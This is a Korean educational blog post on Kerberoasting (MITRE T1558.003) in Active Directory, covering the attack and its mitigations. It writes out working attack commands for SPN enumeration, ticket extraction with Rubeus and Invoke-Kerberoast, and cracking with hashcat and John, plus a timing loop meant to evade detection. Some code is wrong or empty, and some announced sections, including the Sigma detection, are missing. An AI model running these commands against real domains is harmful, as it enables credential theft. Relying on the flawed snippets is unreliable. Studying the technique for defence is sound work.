T1558.003 Kerberoasting 깊이 있는 기술 분석: RC4 암호화가 만든 치명적 약점
RC4 암호화의 구조적 약점을 이용해 서비스 계정 비밀번호를 오프라인 크랙하는 Kerberoasting 공격의 원리와 Sigma 기반 탐지법을 분석한다.
대부분의 기업 네트워크가 Active Directory 환경에서 Kerberos 인증을 사용한다. 하지만 상당수가 여전히 RC4 암호화를 기본값으로 사용하고 있어, 공격자들이 T1558.003 Kerberoasting 공격을 통해 서비스 계정의 비밀번호를 탈취할 수 있는 상황이다.
2014년 Tim Medin이 DerbyCon에서 처음 공개한 이후, Kerberoasting은 침투 테스터와 공격자 모두에게 가장 선호되는 공격 기법 중 하나가 되었다. 정상적인 도메인 사용자 권한만으로도 실행 가능하며, 네트워크 트래픽상 탐지가 어렵기 때문이다.
1980년대 네트워크 환경에서는 각 서비스마다 별도의 인증이 필요했다. 사용자가 파일 서버, 메일 서버, 데이터베이스 서버에 접근하려면 각각 다른 비밀번호를 입력해야 했고, 네트워크상에서 평문으로 전송되는 비밀번호는 스니핑 공격에 취약했다.
MIT에서 개발한 Kerberos 프로토콜은 문제를 해결하기 위해 "한 번 인증으로 모든 서비스 접근" 이라는 Single Sign-On 개념을 도입했다. 하지만 편의성이 역설적으로 공격자들에게 새로운 기회를 제공하게 된다.
Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) to request one or more Kerberos ticket-granting service (TGS) service tickets for specific services, some of which may be vulnerable to offline brute force attacks. — MITRE ATT&CK T1558.003
한 문장 정의: Kerberoasting은 정상적인 TGT를 사용해 서비스 티켓을 요청한 후, RC4로 암호화된 티켓을 오프라인에서 크래킹하여 서비스 계정의 비밀번호를 탈취하는 공격이다.
| 용어 | 설명 |
|---|---|
| TGT (Ticket-Granting Ticket) | 역할: 초기 인증 증명 / 암호화 키: krbtgt 계정 해시 / 공격 난이도: 매우 어려움 |
| TGS (Ticket-Granting Service) | 역할: 서비스 접근 티켓 / 암호화 키: 서비스 계정 해시 / 공격 난이도: 보통 |
| ST (Service Ticket) | 역할: 실제 서비스 접근 / 암호화 키: 서비스 계정 해시 / 공격 난이도: 보통 |
| PAC (Privilege Attribute Certificate) | 역할: 권한 정보 포함 / 암호화 키: krbtgt 계정 해시 / 공격 난이도: 매우 어려움 |
공격자는 먼저 유효한 도메인 계정으로 인증받아 TGT를 획득한다. 이는 완전히 정상적인 과정이므로 어떤 보안 도구도 이를 의심스럽게 여기지 않다.
# PowerShell에서 현재 사용자의 Kerberos 티켓 확인
klist
# 출력 예시:
# Current LogonId is 0:0x1a2b3c
# Cached Tickets: (2)
#
# #0> Client: user@DOMAIN.COM
# Server: krbtgt/DOMAIN.COM@DOMAIN.COM
# KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
공격자는 LDAP 쿼리를 통해 도메인 내 모든 SPN을 조회한다. 이때 특히 사용자 계정에 등록된 SPN을 우선 대상으로 선정한다.
# Impacket GetUserSPNs.py 도구 사용 예시
python GetUserSPNs.py DOMAIN.COM/user:password -dc-ip 192.168.1.10
# 출력되는 SPN 목록:
# ServicePrincipalName Name MemberOf
# --------------------------------- ------------ --------
# MSSQLSvc/sql01.domain.com:1433 sqlservice Domain Users
# HTTP/web01.domain.com webservice Domain Users
사용자 계정 vs 머신 계정 비교:
| 계정 유형 | 설명 |
|---|---|
| 사용자 계정 | 비밀번호 길이: 8-16자 / 변경 주기: 수동 (불규칙) / 크래킹 난이도: 쉬움 / 공격 선호도: 높음 |
| 머신 계정 | 비밀번호 길이: 120자 (랜덤) / 변경 주기: 30일 자동 / 크래킹 난이도: 거의 불가능 / 공격 선호도: 낮음 |
공격자는 의도적으로 RC4 암호화를 요청하여 취약한 티켓을 얻다. 이는 Kerberos 프로토콜의 하위 호환성을 악용하는 것이다.
# RC4 암호화 타입 강제 요청
def request_tgs_with_rc4(spn):
# etype 23 (RC4-HMAC)을 명시적으로 요청
req = AS_REQ()
req['req-body']['etype'] = [23] # RC4-HMAC 강제
req['req-body']['sname'] = spn
return send_request(req)
도메인 컨트롤러가 반환한 TGS 티켓에는 서비스 계정의 비밀번호 해시로 암호화된 데이터가 포함되어 있다.
# Rubeus 도구로 티켓 추출
Rubeus.exe kerberoast /format:hashcat
# 추출된 해시 예시:
$krb5tgs$23$*sqlservice$DOMAIN.COM$MSSQLSvc/sql01.domain.com:1433*$
a1b2c3d4e5f6....(생략)....789xyz
추출된 해시는 네트워크와 완전히 분리된 환경에서 크래킹된다. RC4 암호화의 구조적 약점으로 인해 상대적으로 빠른 속도로 해독 가능한다.
# Hashcat을 사용한 크래킹
hashcat -m 13100 -a 0 kerberos_hashes.txt rockyou.txt
# John the Ripper 사용
john --format=krb5tgs --wordlist=rockyou.txt kerberos_hashes.txt
RC4 크래킹 성능:
Kerberoasting을 호텔 시스템에 비유하면 다음과 같다. 정상적인 투숙객(도메인 사용자)이 프런트 데스크(도메인 컨트롤러)에서 "스파 이용권 주세요"라고 요청하면, 직원은 스파 비밀번호로 암호화된 이용권을 발급한다. 하지만 암호화가 너무 약해서, 투숙객이 집에 가서 천천히 해독하면 스파의 마스터 비밀번호를 알아낼 수 있는 상황이다.
공격자들이 Kerberoasting을 선호하는 이유는 정상적인 권한으로 실행 가능 하다는 점이다. 어떤 권한 상승이나 익스플로잇도 필요 없으며, 도메인 사용자라면 누구나 SPN 조회와 TGS 요청이 가능한다.
시나리오 1: 내부 직원의 계정 탈취
# 1. 피싱으로 획득한 계정으로 도메인 접근
net use \\dc01.company.com\IPC$ /user:COMPANY\john.doe password123
# 2. PowerView를 통한 SPN 열거
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
# 3. Invoke-Kerberoast로 해시 추출
Invoke-Kerberoast -OutputFormat Hashcat | Out-File hashes.txt
# 4. 오프라인 크래킹 (24시간 후)
hashcat -m 13100 hashes.txt rockyou.txt --force
결과: SQL 서비스 계정 sqlsvc의 비밀번호가 Summer2023!으로 판명되어 데이터베이스 전체 접근 권한 획득.
공격자들은 다음과 같은 방법으로 탐지를 회피합니다:
1. 요청 분산
# 대량 SPN 요청을 시간차를 두고 분산
import time
import random
for spn in spn_list:
request_tgs(spn)
time.sleep(random.randint(300, 1800)) # 5-30분 간격
2. 정상 트래픽 모방
RC4 알고리즘은 1987년 개발된 스트림 암호로, 다음과 같은 근본적 약점을 가지고 있습니다:
키 스케줄링 편향:
# RC4 키 스케줄링의 통계적 편향 예시
def rc4_key_schedule_weakness():
# S[1]이 특정 값을 가질 확률이 1/256보다 높음
# 편향을 이용해 크래킹 속도 향상 가능
pass
약한 키 문제:
관련 CVE: 직접적인 CVE는 없음 (프로토콜 설계 한계)
즉시 적용 가능한 대책:
# 그룹 정책에서 RC4 비활성화
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
Network security: Configure encryption types allowed for Kerberos = AES128, AES256
# 25자 이상 복잡한 비밀번호 설정
New-ADUser -Name "svc_sql" -AccountPassword (ConvertTo-SecureString "Tr@nsF0rm3r#Qu4ntum$D3lta!9876" -AsPlainText -Force)
# 그룹 관리 서비스 계정 생성
New-ADServiceAccount -Name "gMSA-SQL" -DNSHostName "sql01.domain.com" -ManagedPasswordIntervalInDays 30
모니터링 설정:
한 줄 요약: T1558.003 Kerberoasting은 정상 권한으로 RC4 암호화된 서비스 티켓을 요청한 후 오프라인에서 크래킹하여 서비스 계정을 탈취하는 공격으로, AES 암호화 전환과 강력한 비밀번호 정책으로 방어할 수 있다.
이 공격은 더 광범위한 T1558 Kerberos 공격: 5가지 티켓 위조 기법으로 Active Directory 시리즈의 일부이다. 공격자가 서비스 계정을 탈취한 후에는 Silver Ticket 위조: KDC 없이 5분 만에 서비스 접근하는 원리 | T1558를 통해 지속적인 접근을 유지할 수 있다.
다음에 알아볼 것:
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.